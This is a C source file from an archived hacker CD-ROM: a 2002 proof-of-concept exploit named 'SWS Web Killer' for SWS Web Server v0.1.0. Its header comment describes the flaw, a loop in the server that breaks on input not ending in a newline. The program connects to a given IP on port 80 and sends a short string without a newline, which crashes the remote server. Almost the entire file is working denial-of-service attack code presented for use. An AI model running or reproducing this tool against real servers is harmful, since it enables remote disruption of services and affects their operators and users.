home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / swsweb / sws_web_killer.c
Encoding:
C/C++ Source or Header  |  2002-10-21  |  2.1 KB  |  94 lines

  1. /*
  2.  * Mon Sep  2 17:45:04 2002
  3.  *
  4.  * |SaMaN| aka Mert <saman@hush.com>
  5.  *
  6.  * Information  : Anyone can kill SWS Web Server v0.1.0 remotely.
  7.  *
  8.  * Proof of Concept Exploit for SWS Web Server v0.1.0
  9.  *
  10.  * SWS homepage : http://www.linuxprogramlama.com
  11.  *
  12.  * Tested on    : Slackware 8.1 - 2.4.18
  13.  *              : Redhat 7.0    - 2.2.16-22
  14.  *             
  15.  * Problem      : sws_web_server.c 
  16.  *              : line 108 
  17.  *              : if (recvBuffer[i - 1] != '\n') break;
  18.  *
  19.  * Q : So what will happen when we send a string not end with '\n' ? 
  20.  * A : break break break
  21.  * Q : So root should restart web server everytime ?
  22.  * A : Yes
  23.  * Q : Other web servers act like this ? 
  24.  * A : No
  25.  * Q : So something is wrong ? 
  26.  * A : Yes :)
  27.  *
  28. */
  29.  
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <unistd.h>
  33. #include <errno.h>
  34. #include <string.h>
  35. #include <netdb.h>
  36. #include <sys/types.h>
  37. #include <netinet/in.h>
  38. #include <sys/socket.h>
  39.  
  40. #define K  "\033[1;31m"
  41. #define Y  "\033[1;32m"
  42. #define SA "\033[1;33m"
  43. #define M  "\033[1;34m"
  44.  
  45. #define PORT 80
  46.  
  47. int main(int argc, char *argv[])
  48. {
  49.    int sockfd, numbytes;
  50.    struct hostent *adres;
  51.    struct sockaddr_in hedef;
  52.  
  53.    char buf[8] = "|SaMaN|";
  54.  
  55.    if (argc != 2) {
  56.       printf("%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", K);
  57.       printf("%sSWS Web Killer (saman@hush.com)  \n", SA);
  58.       printf("%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", K);
  59.       printf("%sUsage: ./sws_web_killer %s<IP>   \n",Y,M);
  60.       return 0;
  61.    }      
  62.  
  63.    if ((adres=gethostbyname(argv[1])) == NULL) {
  64.       perror("gethostbyname");
  65.       exit(1);
  66.    }
  67.  
  68.    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  69.       perror("socket");
  70.       exit(1);
  71.    }
  72.  
  73.    hedef.sin_family = AF_INET;
  74.    hedef.sin_port = htons(PORT);  
  75.    hedef.sin_addr = *((struct in_addr *)adres->h_addr);
  76.    memset(&(hedef.sin_zero), '\0', 8);
  77.  
  78.    if (connect(sockfd, (struct sockaddr *)&hedef,
  79.                                           sizeof(struct sockaddr)) == -1) {
  80.         perror("connect");
  81.         exit(1);
  82.    }
  83.  
  84.    if ((numbytes=send(sockfd, buf, strlen(buf), 0)) == -1) {
  85.         perror("send");
  86.         exit(1);
  87.    }
  88.  
  89.    close(sockfd);
  90.  
  91.    return 0;
  92. }
  93.  
  94.